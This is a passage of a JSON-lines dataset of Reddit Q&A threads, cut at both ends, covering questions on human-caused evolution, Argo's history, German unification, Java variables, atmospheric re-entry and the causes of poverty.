Chernobyl and [arsenic eating worms (_URL_1_)](http://news._URL_1_/news/2008/10/081007-super-worms.html) in the UK.", "There's the Peppered Moth, which originally had black  &  white wings for camoflage while living in forested areas. During the Industrial Revolution, a black variant evolved for camoflage in soot-covered cities\n\n_URL_0_", "Pediculus humanus humanus (body louse) and Pediculus humanus capitis (head louse) because we started [wearing clothes](_URL_0_).", "I recall something about guppies and the Panama Canal, but I cannot remember for the life of me anything more about it - does this ring a bell to anyone?", "I remember my prof talking about squirrel isolation in Queen's Park Toronto, an block of city surrounded by three lanes of heavy traffic.  A quick search finds:  _URL_0_\n\nThe land area in question: _URL_1_\n\nEDIT: spelling\n", "Cliff swallows that nest in highway overpasses have evolved shorter wingspans over the last 30 years to help them survive close encounters with highway traffic. [(Source](_URL_0_) which I hope is up to everybody's standards.)", "This isn't necessarily speciation, but is similar to what you are describing so I will go ahead and post it.\n\nIn Namibia there is a pest exclusion fence known as the Red Line fence and it separates Northern Namibia from Central and Southern Namibia. The South side was colonized by Europeans while the North side is mostly African. In studying the genetics of feral dogs in the region, researchers found that the dogs on the South side of the fence have strong European heritage and are genetically quite distinct from the dogs on the North side of the fence. Even though the populations are relatively close geographically, they can't cross over the fence so they are diverged from each other genetically. ", "This might not be exactly in the spirit of the question, but...\n\nHow about immortal cell lines such as [HeLa](_URL_1_)? \n_URL_0_\n\nA laboratory is certainly a manmade structure, but the practices of the laboratory are primarily what would be the relevant factor. \n", "I'm not an expert on this, but a friend participated in a study where they were collecting salamanders to see if roads causes populations to be genetically isolated. If the roads do lead to genetic isolation, that could cause the salamanders to become reproductively incompatible (ie, distinct species), but it would take a very, very long time. \n\nedit: an important thing to note is that in most cases it is impractical to delimit species by an inability to reproduce, so species are often defined by having distinct morphological or genetic traits. These are assumed to accumulate over a long period of time and thus should be indicators that two putative species can't or don't reproduce. It is becoming more and more the case that species are defined genetically; populations that have had no significant interbreeding in, say, 1,000,000 years may be considered distinct species. Because of the long time spans required in our system, you're not likely to find evidence of man-driven speciation by the current criteria. It's still totally possible that many populations have become isolated by humans in a way that makes them effectively distinct species (particularly in the ecological sense), even if they don't meet the other criteria yet. ", "It isn't quite speciation, but at the Seneca Army Depot, a large enclosed area, when the base was made they fenced in the forest as well, trapping deer in the compound. These deer have an incredibly high incidence of being all-white (but not albino), a recessive trait found in white-tailed deer.\n\nHere's the wikipedia link: _URL_0_", "The timescale is likely too short for speciation. You might find some divergence though. This would still mean if the two pops met up again they could interbreed. Of course this depends on your definition of a species, which is a rather exhausting debate. If we stick with anthropogenic causes of divergence though you do find examples such as pronghorn which have learned to go under fencings instead if jumping. Several aquatic species such as sticklebacks, muscles, Copepods, ect... have been dumped into new environments due to humans and now show very different traits compared to what are believed to be the originating populations. In some cases such as the sucker(fish) in the green river in Wyoming you have examples of reverse speciation where the introduction of a third species resulted in hybridization of two species that did not interbreed previously.", "Linguistically, [Hadrian's Wall](_URL_1_\n) is of significance because it effectively created differing dialects on both sides of the Wall. When I read this post, I searched for a possible evolutionary connection, and [I was successful.](_URL_0_)", "If we count pastures and for example wheat fields as \"man made structures\", then there are a bunch of plants, insects and animals I think?\n", "It's more behaviour that I've heard of.\n\nThe University of Haifa studied how animals on either side of the Israel/Jordan border differed. Gerbils and Red Foxes in Israel are more cautious than those in Jordan - apparently due to more modern agricultural development.  \n\nRed deer in the forests on the Czech-German border are avoiding the border because an electric fence once ran along it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://onlinelibrary.wiley.com/doi/10.1111/j.1558-5646.2011.01294.x/abstract?systemMessage=Wiley+Online+Library+will+be+disrupted+on+31+August+from+10%3A00-12%3A00+BST+%2805%3A00-07%3A00+EDT%29+for+essential+maintenance&amp;userIsAuthenticated=false&amp;deniedAccessCustomisedMessage="], ["http://en.wikipedia.org/wiki/London_Underground_mosquito"], ["http://online.wsj.com/article/SB125729481234926717.html"], ["http://en.wikipedia.org/wiki/Radiotrophic_fungus", "nationalgeographic.com", "http://news.nationalgeographic.com/news/2008/10/081007-super-worms.html", "wikipedia.org"], ["http://en.wikipedia.org/wiki/Peppered_moth_evolution"], ["http://www.nytimes.com/2007/03/08/science/08louse.html?_r=0"], [], ["http://thevarsity.ca/2003/02/10/breeding-unease-in-queens-park/", "http://en.wikipedia.org/wiki/Queen's_Park_(Toronto)"], ["http://www.newscientist.com/article/dn23288-birds-evolve-shorter-wings-to-survive-on-roads.html#.Uh9hrGTwLIo"], [], ["http://newscenter.berkeley.edu/2011/07/26/are-cancers-newly-evolved-species/", "https://en.wikipedia.org/wiki/HeLa"], [], ["http://en.wikipedia.org/wiki/Seneca_White_Deer"], [], ["http://www.getty.edu/conservation/publications_resources/pdf_publications/pdf/hadrians_wall.pdf", "http://en.wikipedia.org/wiki/Hadrian's_Wall\u200e"], [], []]}
{"q_id": "2265o9", "title": "how historically accurate is Argo's opening narration about why the Iranian revolution happened?", "selftext": "obviously it grossly over simplified but is any of it just wrong?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2265o9/how_historically_accurate_is_argos_opening/", "answers": {"a_id": ["cgjvaw7", "cgjvoi4", "cgjwe8u"], "score": [46, 98, 33], "text": ["I wouldn't say any of that was wrong. The biggest oversimplification is that the revolution itself involved a number of different actors - the revolution involved liberal and Communist as well as Islamic groups. Many of those who initially helped to overthrow the Shah were happy with western liberal values such as gender equality.", "A good resource in the first half of the narration--Mossadegh's rise to power, nationalization of oil resources, and overthrow--is [All the Shah's Men](_URL_0_) by Stephen Kinzer. Just be aware that the author is writing partly to make a political point about regime change.\n\nThe film is very accurate, although, as you said, a bit simplified in its description. The early 20th century rulers of Iran signed a treaty with Britain allowing the Anglo-Iranian Oil Corporation (later BP) essentially unfettered access to the country's oil resources. Muhammed Mossadegh successful rose to power as a nationalist and populist prime minister. In 1951, he nationalized Anglo-Iranian.\n\nThis led to severe diplomatic tensions between Iran and the UK, in which the UK considered using military force, but ultimately decided to overthrow Mossadegh through a coup. Iran then cut diplomatic relations with the UK, expelling most of their spies in the process. The UK was able to convince US President Dwight Eisenhower through his Secretary of State John Foster Dulles and the CIA director, his brother Allen Dulles, to carry out the coup on behalf of the UK. The Americans were concerned that Mossadegh's nationalization of industries was a step on a road to communism, and they were concerned they might lose Iran's oil resources to the Soviet sphere of influence as a result.\n\nKermit Roosevelt Jr, a CIA officer in Iran, executed Operation Ajax in 1953, which overthrew Mossadegh's government and reinstalled Mohammed Reza Pahlavi as king (\"shah\") of Iran under the guise of a popular uprising.\n\nThis is, of course, still a simplification, but hopefully provides a little more detail. Maybe somebody else can provide some input on the 1979 revolution?\n\nEdit: Corrected as per willpredun.", "The opening is mostly accurate, but I just want to point out that the overall movie story of Argo was made to be a bit more dramatic then it actually was. Yes, the Americans were altered to look like a crew, and yes they walked right through customs, but the plan was so well executed that NO ONE even had a clue what was happening. It wasn't a rouge operation conducted by one man, but a well designed task force lead by one man. It was relatively smooth operation, on account at how disorganized the Iranian airport operated at the time.  \n\nI'm paraphrasing, but my favorite quote from the book says \"The best agent is the one who buys something at a store, and if the clerk had to identify the man, he would have completely forgot what he looked like.\" Obviously, they wanted a white, attractive guy for the movie, but in reality he was a plain man with no notable features.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.amazon.com/All-Shahs-Men-American-Middle/dp/047018549X"], []]}
{"q_id": "3559xv", "title": "what is the average size of a flaccid penis? does it affect the size of a non-flaccid one?", "selftext": "Everytime somebody talks about average penis size, it's when the penis is at it's biggest (ala having a boner). It's around 5~6 inches (the average). However, what is the average size of a flaccid penis? Does it really matter? Does it affect the size of a non-flaccid one? I'm just a little bit worried about my future sex life (I'm a virgin), since I have a good average penis size boner yet a sort of small flaccid one. Just wanted to know, sorry if this was a dumb question.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3559xv/eli5_what_is_the_average_size_of_a_flaccid_penis/", "answers": {"a_id": ["cr14q30"], "score": [7], "text": [" > Fast facts on the average penis size\n\n > While 85% of women were satisfied with the size and proportion of their partner's penis in a study, men were less sure of themselves.\n\n > 45% of men in the study believed they had a small penis.\n\n > Across studies it has been concluded that flaccid lengths range around 7 to 10 centimeters (2.8-3.9 inches).\n\n > Flaccid circumferences range around 9 to 10 centimeters (3.5 to 3.9 inches).\n\n > Erect lengths range around 12 to 16 centimeters (4.7 to 6.3 inches).\n\n > Erect circumference (only one previous study) was around 12 centimeters (4.7 inches).\n\nAnd no, some men are growers not showers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "13tpuk", "title": "Not necessarily a history question, but how is the job outlook for history education?", "selftext": "Right now I am a freshman in college in the United States.  I love history, and it has been one of the few subjects throughout my schooling so far that I have consistently enjoyed.  I believe I would like to become a history professor at a four year university.  I know that most if not all potential university positions require a doctorate to even have a chance of being hired.  With that time and monetary investment in view, is there a good chance that I can get and hold a job in history education while still being able to comfortably support a family? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/13tpuk/not_necessarily_a_history_question_but_how_is_the/", "answers": {"a_id": ["c772w4u", "c773l8u"], "score": [2, 5], "text": [" >  With that time and monetary investment in view, is there a good chance that I can get and hold a job in history education while still being able to comfortably support a family? \n\nVery unlikely. Have a look at the 'career advice' section of the AskHistorians FAQ ( [link](_URL_0_) ).", "Is your goal just to teach history? Do you care about research, writing, etc? If you want to do research, go for the PhD. If not, don't.\n\nIf your real ultimate goal is simply to teach history, go get a dual major in history and teaching and go teach history at the high school level. You'll still get to teach history, probably make the same or more money, and get out of school five years earlier."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/zirmo/meta_lets_do_this_faq_together/c64y9e9"], []]}
{"q_id": "41un1a", "title": "what are the most common reasons countries \"decide\" to become another, and how? e,g. castile-aragon to spain, prussia to germany, etc.", "selftext": "***EDIT: Bonus points, explain Austro-Hungary/Spanish Habsburgs?***", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/41un1a/eli5_what_are_the_most_common_reasons_countries/", "answers": {"a_id": ["cz58zsq", "cz5av7n", "cz5caco", "cz5cgir", "cz5f9hy", "cz5fne3", "cz5qqrr", "cz5yotn", "cz664xf", "cz6gblh"], "score": [307, 6, 66, 14, 6, 14, 3, 5, 2, 2], "text": ["They merge with another country.  \n\nPrussia merged with other German principalities and united as Germany.  Spain was formed through marriage and conquest.  \n\nTo unite a new kingdom made of dozens of former nations, they rebranded the country with a new name.\n\n\n", "If you want another set of ideas or a decision that has benefits. The former as Naples can be useful as their NI's are...tragic, like a Titanic filled with orphans running into a flamethrower mounted on an iceberg. The latter would be great as Poland forming the PLC to get a free PU annexation on Lithuania.\n\nThe main reason to change your nation would be to change the color, becoming Italy makes you look like a freaking AVACADO!!! How would Milan's supple purple ever hold up to the color of an AVACADO?! \n\nAlso, some names are simply cooler than others. Would you rather be the Papal States, of the KINGDOM OF GOD?!?!???!? \n\nEXPLOSIONS!?! - Mr. Torgue", "Very few countries just \"decide\" to become a new country one day, in that the leaders all got drunk in a room and wanted to be something else. It's often the culmination of exceptional socio-political posturing and maneuvering over the course of many years. Using the example you gave, Prussia didn't just become Germany one day and you have what we have today. Rather it took many important figures and events all coinciding and unfolding to turn the German states, into modern Germany.\n\nTo illustrate how countries go through this process and merge into new countries, Germany is a prime example. Otto Von Bismarck (the one from Civ V) was arguably the most important figure in all of 19th century Europe, not in terms of sheer power and reach, but by what he manages to engineer. The German states have historically long been rivals of the French (what European states aren't rivals) and the 19th century was no exception. \n\nThe 19th century was tumultuous for France going through no fewer than 6 governments throughout the 1800's. After Napolean's armies nearly conquered all of Europe at the beginning of the century the landed nobility and monarchies of Europe wanted to ensure that their rule and the political status quo would remain unchanged. This atmosphere of tension and fear, but relative peace, was exactly what Bismarck needed to launch his plan of German unification.\n\nThe Holy Roman Empire, (which was neither holy, nor roman, nor an empire) which can be considered a precursor to Germany, was dissolved during the turmoil of the War of the Third Coalition (one of the wars the European powers waged against Napolean). Prussia was now at a point where it could begin to fully exercise it's authority. After Napolean was defeated the German states were grouped together in the German Confederation which was not anything like a unifying body of these states. They still very much so acted independently and often rival to eachother, particularly Austria (who was placed in charge of the confederation) and Prussia.\n\nBismarck can't  be given all the credit however, as an economist named Friedrich List established a trade union between initially only a few of the German States, that soon grew to include all of the German States, minus Austria. This gave some unity to the German States and pissed off Austria who began to feel more ostracized from German affairs due to Prussian influence. A series of revolutions in 1848 all over Europe but especially in German cities, prompts the drafting of a constitution for the confederation, however the idea of a united Germany was denied by King William IV.\n\nNow here is where Bismarck comes into play. Bismarck is appointed Minister President (Prime Minister) by King Wilhelm in 1862. Bismarck famously called his policy, \"one of blood and iron\" and his policy certainly reflected that. Bismarck is quick to instigate the Danish-Prussian War, as Denmark felt it rightfully owned Schleswig while Prussia felt that they deserved those territories as the inheritance laws of those territories were conflicting. A joint Austro-Prussian victory is achieved and German domination of Schleswig is ensured. During this time you also have an overwhelming feeling of nationalism sweeping not only Germany but over all of Europe as new ideologies are being spread. The nationalists, particularly in Germany, wanted to unite their country so they could exert more influence and show their dominance of Europe.\n\nAt this moment in time is where Bismarck inexorably alters the course of history. Over an administrative disagreement over how to administer the newly acquired provinces from the Danish-Prussian war, Prussia invades those new territories and to combat Austrian forces. The insanely complicated web of alliances between the two states and their allies is now triggered and all of Germany and some other European states are now drawn into the Austro-Prussian War. It is a quick, decisive Prussian victory, the war lasting only seven weeks. Austria is now excluded from German affairs and has had it reputation mangled by its humiliating defeat.\n\nBismarck is now ready to execute the final part of his plan (as another user so graciously pointed out, Bismarck actually opposed annexing Alsace and Lorraine so as to preserve some form of relations with France. This was my bad, it was actually Von Moltke who wanted the resources of Alsace and Lorraine. However his plan was still very much to go to war with France), the annexation of the French territories of Alsace and Lorraine, resource rich manufacturing territories on the border of France and Germany. Napolean III wanted some territory for maintaining his neutrality during the Austro-Prussian war, which Bismarck didn't take kindly to. The \"Iron Chancellor\" heavily alters the Ems Dispatch to make it seem as though the French Count in charge of diplomatic relations with Prussia had insulted the king and vice versa, over the issue of Spanish Succession which they disagreed upon. This even deeper souring of relations sparked the Franco-Prussian War which was an overwhelming defeat for France. After the capture of Paris the various German kings began to pledge their loyalty to Kaiser Wilhelm I, of a united Germany, thus completing the culmination of a century of political maneuvering which forever changed the course of world history.\n\nAs you can see, it is a very long and arduous process that is the result of many different figures all vying for power, with one coming out on top and the others submitting to their authority.\n\nTL;DR: Power, politics and ambition\n\nEdit: I left out some stuff such as the North German Confederation as well as explaining the deeper causes for the Franco-Prussian War but most of that stuff is just extra stuff for history geeks like me", "Pakistan's my favorite example because the name is just a combination of the combined regions.\n\nPunjab, Afghania, Kashmir, Sindh, and Balichistan.", "The birth of modern Germany is somewhat of a minor diplomatic miracle. It is highly interesting to look into.", "You need at least 51% of the counties in a duchy or kingdom to form it (still costs piety and gold of course) and to form an empire you need to control 80% of de jure counties.", "My great grandmother's surname was Aragon, she emigrated from Spain. Am I royalty? Can I go live in a castle?", "Thailand was once Siam.  While I was visiting there, I was told by locals they changed the name during WW2 when it consolidated its territories that were regained from the British and French.  \n\nIt did so because it wanted all the people to have a new unifying identity.   I can't remember exactly what Thai means, but it's something along the lines of glorious people.  So that's why they choose it. ", "It gives them a claim on the whole region... But can only do it if they control certain provinces and have at least administrative technology level 10.", "For the bonus points: \n\nIt helps to not regard the origin of the Habsburg empire not as a nation state, but simply as personal possessions growing through inheritance. They came to the forefront through strategic marriages that allowed them or their sons to inherit titles (which correspond to land). \n\nIn 15C, Frederick III came to start the long Habsburg line of emperors. He was eligable because his Habsburg cousin had married the daughter of the late emperor of house Luxembourg (Note: this is a pattern!) \n\nThe lands of the Duke of Burgundy (including the Netherlands) were added when Maximilian married the only daughter of Duke Charles the Bold. Marrying the Joanna the Mad of Castile added the spanish lands to the house of Habsburg. \n\nThe Bohemian (Czech) and Hungarian crowns were possessed by the same dynasty. The growing Ottoman threat lead to a disastrous Hungarian defeat (Mohacs) and a dead king. The late king was married to Mary, the sister to Charles V of Habsburg. The crowns ended up with not Charles, but his younger brother Ferdinand as ruler of the Austrian half of the empire (see below for the Spanish / Austrian split). \n\nSo, through marriage (and politics, but in those times, marriages were politics) the house of Habsburg by the time of Charles V (16C)had inherited: the core of Austria, Crowns of Bohemia and Hungary, Crowns of Castile and Aragon, Naples, Sicily, the Netherlands. \n\nHere, Charles V lay the foundation of the split between the Spanish and the Austrian branches. He give his younger brother the Austrian side to rule in his name and he kept the Spanish possessions including the Netherlands for his personal rule. The Austrian possessions (Austria, Hungary, Bohemia), along with the Holy Roman Emperor title, continued on in the younger line (starting from Ferdinand I), while the Castile-Aragon union (including Italian possessions) continued on in the senior branch through Charles V and his children. \n\nThere was not much of a national identity, the lands were a combination of birthright, strategic interests and sources of income. If the head of a house could get away with it, personal rule would mean far fewer rights and privileges for the local aristocracy making them easier to control. Foreign threats (Ottoman expansions!) could also be used to control local nobility (or vice versa, local nobility using the threat of Ottoman expansion to extort more privileges from their overlord). And if the house would overplay their hand, local leaders (or strategic rivals, like France) would attempt to break off bits to form a new \"country\" or attempt to increase privileges (which weakened central rule). \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "1id2k3", "title": "what exactly is a variable in java?", "selftext": "I'm taking an online introductory course on programming, and they began to throw around the word \"variable\" without exactly defining it. I may just be dumb, but I like all my words well defined.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1id2k3/eli5_what_exactly_is_a_variable_in_java/", "answers": {"a_id": ["cb39s7t", "cb39tnm", "cb3bra6"], "score": [5, 3, 2], "text": ["It's just a placeholder for some \"thing\", like a number or a string.  It's the same concept as a variable in algebra.\n\nSay you write:\n\n    int n = 5;\n\nYou've just defined the variable \"n\" to be an integer that holds the number 5, so if you use \"n\" in an equation or something later, it'll represent 5.\n\nOf course, you can change variables, so if you later wrote:\n\n    n = 10;\n\nEvery time you used \"n\" after that, it would be 10 instead of 5.  Notice I didn't have to prepend that line with \"int\", because you've already declared that \"n\" is an integer in the first line.  In fact, if you tried to write:\n\n    n = \"apple\";\n\nyou'd get an error, because Java is what's termed a \"strongly typed\" language, meaning when you declare a variable to be a certain \"type\" (and integer, a string, etc) it has to remain that type as long as it's in scope.", "This won't exactly be explained like you're 5 but I believe the concept is explained fairly simply.\n\nThe easiest way to think about it is a placeholder in memory. So when you define a variable, you are telling the computer to allocate a space for information to be stored and used. The computer knows that this space in memory has the name you gave it so when you try to access it, the computer knows where to look.\n\nThey can also be changed as a program runs. For example, when using different types of loops, you need to use variables to keep track of how many times a loop has run and stop it after it has run through a loop the appropriate number of times.\n\nTLDR: An allocated space in memory that is given a name so it can be accessed\n\nIf that doesn't make sense i can try and explain it another way", "They went along, and decided half way through the lesson to actually explain what a variable is. Thanks anyway guys! You made the first half much easier!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "53s1un", "title": "re-entry to the atmosphere and density", "selftext": "I was reading an article in The Guardian about China's Tiangong-1 space station which is due to uncontrollably re-enter the atmosphere next year.\n\nJonathan McDowell, renowned Harvard astrophysicist and space industry enthusiast states that \"some parts, such as the rocket engines, were so dense that they wouldn\u2019t burn up completely.\"\n\nCould someone please explain why the density of a material has an effect on it's re-entry? I previously thought it was more to do with the materialsresistance to heat.\n\nPlease excuse my naivety", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/53s1un/eli5_reentry_to_the_atmosphere_and_density/", "answers": {"a_id": ["d7vrdg3"], "score": [3], "text": ["How much heat something receives during atmospheric entry is related to its size (more surface area exposed to the air stream means more head) and its shape. But how much heat it can withstand is related to its melting point, its mass and the heat capacity of the material. Rocket engines are dense and made of high-melting-point materials, since they need to withstand a lot of heat during normal operations, so it takes a lot more heat put into them than, say, a thin-walled crew compartment or tank, to completely destroy them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1p11ct", "title": "why is it so hard to get out of poverty?", "selftext": "I was talking to my friend the other day about poverty, welfare, ghettos, and why certain races tend to have less money than others.  He said if poor people applied themselves, they could get jobs and leave the ghettos. \n\nI wanted to disagree with him, but being rather privileged from birth, I didn't have an answer. \n\nSo explain to a privileged whiteboy why poor people in poor neighborhoods can't get jobs, and get out. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1p11ct/eli5_why_is_it_so_hard_to_get_out_of_poverty/", "answers": {"a_id": ["ccxn7gn", "ccxnkb7", "ccxnp94", "ccxnsy9", "ccxnuej", "ccxnujk", "ccxomqh", "ccxoohv", "ccxphox", "ccxqvdb", "ccxr3qh", "ccxr8by", "ccxrbg7", "ccxs15m", "ccxsbhm", "ccxtq8n", "ccy0kf1", "ccyiyfq"], "score": [5, 7, 2, 18, 4, 21, 6, 3, 3, 3, 2, 2, 61, 34, 2, 3, 2, 4], "text": ["If you're talking about the US people living in poverty tend to go to pretty shitty schools.  There they receive a pretty shitty education.  The teachers in these schools tend to be the lowest of the low, except for the occasional activist who is there because they want to do the most good.  Poorly educated people tend to see not much point in education and so when they have children they don't encourage them to learn.  They figure, \"What's the point?  I went to school and I still live on welfare.\"  It's a feed back loop of despair. ", "Most of the ways economies develop rely on credit - people loan money on the basis that the borrower will be able to pay it back, the borrower uses the money to develop their business by investing, and then they pay it back.\n\nThe same sort of thing holds true for individual level. You can be far more productive or get far more jobs when you can travel, but travel requires a car, and jobless people can neither afford a car, nor get credit to buy one on loan.\n\nThe same goes for hardwearing clothes, or a suit, education, and other resources, even stuff like internet, computer, phones, etc. \n\nSimilarly, when a problem or shortfall arises, impoverished people don't have the capital or credit to replace or repair the problem properly, they can only use a stop-gap solution which wears out faster and costs more money in the long run (e.g. getting a credit card to pay for medical bills, accruing huge interest where a normal deposit/loan arrangement would not).\n\nUltimately, poverty has ongoing costs which prevent people escaping the cycle.", "First: don't go too far on this.  There are certainly structural disadvantages and causes of poverty, but one can also go too far, and end up making it seem like the poor or not-well off lack agency. And, sometimes there aren't generic answers, because different populations stay poor for different reasons.  \n\nSecond, to give you more of a direct answer to your question: There was an article on the Atlantic a few months ago talking about the effect of concentrated poverty, specifically in the black population in the United States.  The article, summarizing a book written by a social scientist, noted that even well off African Americans were far more likely to know people who lived in poverty, and to have impoverished people as close relations or even neighbors (in part because of the legacy of racist housing policies)\n\nThe article noted that, as a result, it was harder for even rich people in the community to accumulate as much wealth as white counterparts.  Think about it like this: If your uncle was in jail, you might have to pay bail.  If your first cousin didn't have health insurance, you might feel like you had to chip in to help him out. The same dynamic applies in other communities, but the poorer the community, the more often that need arises (Since there are more problems that money could solve, and less money to solve those problems with).  \n\nThat's just one of the less publicized dynamics at play.  Add to that things like hiring \"who you know\", bias against ethnic minorities and the poor, an overall slow in housing, the \"extra-costs\" of being poor, and just the general human tendency to sometimes make mistakes, and it makes sense that people who start at a disadvantage are actually, you know, at a disadvantage.\n\n", "Also, while this game is no means perfect, it gives a sense of some of the dynamics at play:\n_URL_0_", "Broken families. \n\nSeriously. How many two-parent households have this problem compared to single-parent households?\n\nSingle parents don't have time to work full time. Hence they work almost full time hours at part time minimum wage jobs. And the government makes up the difference via food stamps, welfare, etc. ", "There's a saying that summarizes a major reason why it's so hard to get out of poverty: \"It takes money to make money.\"\n\nSimply put, being poor in and of itself makes it difficult to be successful throughout life.  To illustrate this, imagine there are 2 people: Rich and Pam.  Rich is wealthy and Pam is poor.  Both need to do basic things like feed themselves and get to work 5 days a week.  For Rich, this is no big deal.  When he needs food, he just gets into his nice car and travels to his favorite supermarket.  He buys healthy food and returns home for dinner.  If he's in a rush, maybe he can just go to a restaurant even if it costs a little more.  When it comes time for work the next day, he just gets in his car again and goes to the office.  He arrives on time and gets his work done.  Due to his good work, he eventually gets a promotion, providing him with even more money.\n\nPam tries to do the same exact thing, but she has less money to work with.  She too needs to get food.  She wants to drive all the way across town to the cheapest supermarket, the one Rich likes, but her car is really old and run down.  She would like to have a newer vehicle, but she doesn't have the ability to get one right now.  Combine that with the price of gas and she is now limited to a grocery store that's closer to her home.  Unfortunately, prices are higher here.  She also has a tight budget, so she can't waste money on things like vegetables, since those aren't filling.  As a result, she buys cheap, processed foods, which make for less healthy meals.  Even when she's in a rush, Pam still has to spend time preparing the food, since she can't afford to go to any restaurant more expensive than McDonald's.  The next day, she goes into work at her office.  However, due to her poor diet, she has little energy and can't perform well by day's end.  Not only that, but she's not particularly healthy, so she has to take more sick days.  And on top of all that, due to her old car, she is more likely to deal with mechanical car problems that prevent her from getting to work on time.  Between her poor performance at work and repeated lateness, she doesn't get a promotion, so she makes less than Rich, even if they started with the same job.  Maybe she even gets fired for failing to show up on time often enough.\n\nThat was just a hypothetical example, but the point is that once you already have money to work with, it's easier to do things that help you make more money later on.  In real life, the problems are more extreme than in the example with Rich and Pam.  A poor person is more likely to come from a bad neighborhood with more exposure to criminals and less stability.  Schooling in the ghetto sucks and it's unlikely for someone to perform well academically and make it to college (not to mention paying for college).  With so many bad influences nearby and so few positive role models, it's not surprising that all these factors lead to poor people remaining poor.  It's a self-perpetuating cycle.  In other words, starting out poor leads to remaining poor, which makes the next generation more likely to remain poor as well. ", "In psychology, there is something called the bee sting theory of poverty.\n\nIf you have one bee sting, you put some lotion on it, and you immediately feel better.\n\nIf you have two bee stings, you put some lotion on the first, but you are still in pain...putting forth the effort to fix the problem doesn't grant instant relief.\n\nIf you have ten bee stings, the lotion doesn't make much difference at all...you hurt, and the distance between effort and relief is great, so it isn't clear it is even worth it.\n\nThat's kind of the problem with poverty...poor education, bad neighborhood, high unemployment, poor transportation, lack of family support, racism, crime, substance abuse...fixing just one or two doesn't help you much, so you resign yourself to being poor.", "The poverty cycle, as it is called, is very difficult to escape. When money going out exceeds money coming in for a prolonged period of time, the debt and accrued interest is crippling.\n\nAlso, surviving day-to-day is not conducive to people enhancing their position. They are unable to obtain education/training and poor nourishment may lead to people affected by poverty to be less competitive in a workforce because of decreased energy levels/cognitive function. This also manifests itself in scenarios such as job interviews, where people affected by poverty may not be able to make/distribute a CV, or may show up to the interview wearing informal clothing or appearing generally unkempt.\n\nThere are other factors that come in to play, but once people are affected by poverty it becomes very difficult for them to compete in the workforce and improve their position, often resulting in a backwards slide.\n", "Being poor is expensive. The rich aren't just rich because they make more money, they also save a ton of money on various expenses that will make you mad.", "There are few reason why it's hard to escape poverty. \n\nThe first is that being poor is expensive. Consider the following scenario. You have a middle class man and lower class man who both start work on Monday. It's the same job for both of them, the job requires boots. Neither man owns a pair of boots and has to go buy them. Now the middle class man has a good sum of money in his savings, he spends $100 on a pair of boots. They're of high quality and reputation, they'll last him about a year. The lower class man lives paycheck to paycheck, or welfare if he hasn't started his job yet. He doesn't have a lot of money to spend so be gets some cheap, off brand boots for the job for $20. A month on the job and the lower quality boots have already worn out, he needs a new pair. Over the course of a year the man will have to buy 12 pairs of boots because he never has enough money at one point in time to afford boots that will last him. In the long run the lower class man winds up spending $240 while the middle class man only spent $100. This how being poor is expensive because in reality it's not just boots, but also clothes, home appliances, bills, debts, anything that accrues interest will be payed off slower by a poorer person and ultimately cost more. \n\nAnother reason it's hard to escape poverty is that a lot of people either don't know how to manage their money or don't care to manage it. I'm sure you've heard stories about less than average joes winning millions in the lottery only to have lost it all less than a month later. If you ask the average redditor what they would do with a million dollars I'm sure you would get answers like put towards a house, a car, student loans, savings. Those in poverty wouldn't answer the same. Either by apathy or by lack of education, poor people on average do not know how to manage money. Maybe they start making money but then they don't know what to do with it and it winds up being wasted. This is a vicious cycle as those in poverty are mostly born into poverty, born into conditions and environments that make it difficult to get a good education in the first place. \n\nAnother reason it's hard to escape poverty is that you have to spend money to make money and one of the great luxuries of the upper and middle classes is credit. Banks and financial institutions will give out loans to people they consider eligible because it allows the recipient to, if we reference the first example, buy that $100 pair of shoes which saves them money in the long run and the loan interest makes money for the lender. All around a good deal, everybody wins. Now the reason lower class citizens have a hard time getting loans is because of the two reasons listed above. The person in poverty doesn't have a stable occupation and income supply, this doesn't give the lender a lot of confidence that he'll ever get his money back. Additionally we can look at bankruptcy rates among those below the poverty line and we would see the stark contrast. (I'm typing this on my phone I'll try and get some sources in here after I post). Bankruptcy effectively destroys credit forever, ruining future chances of obtaining a loan and further making low income earners in general seem less attractive to the lenders. The other reason is managing money, the impoverished already have this reputation of mismanaging their money. Lenders really have little reason to deal with those in poverty when there are plenty of thicker veins for them to tap. \n\nI think these are the most basic cases but the effects propagate from here. For instance lets say someone in poverty got a job interview and they begin negotiating salaries. The business owner has more leverage in the negotiation and can get away with assigning a lower income since the potential employee has fewer options to turn to. This in turn means the employee will have to work a long time before they make a meaningful amount of money or before they acquire enough experience to springboard to a higher paying job. It's a slow climb and I think welfare programs aim to alleviate some the stresses of being poor, making it easier for people to climb out of poverty. The only issue people have with that is that theory is that it incentivized lower standards, people can afford to work less knowing they have government subsidies to fall back on. But that is a completely different argument for a different thread. \n\nIn short, being poor is expensive. I can't afford to learn new skills. Nobody trusts me to handle loans, nor could I afford to pay it back. I have to live paycheck to paycheck because my salary is so low and it's unlikely that the experience of this menial job will ever help me get a significantly better job than this. ", "essentially your homeless, smell like shit, likely look like shit, and your trying to live day by day because you cant even afford things like food that are required to live. not to mention, because your homeless, you have to drag all your shit around with you, and you arent carrying much, as you can only take what is necessary.|\n\nso now your trying to improve your life by getting a job. well look at you, all fancy with last nights biscuits in your beard, that horrid body odor reeking from every pore in your body, as well as that dirty ass shirt and pants youve been wearing for 3 weeks, and a likely not very good employment history, your fitting the bill of people who wont get hired.\n\nnow because you didnt get hired, your still 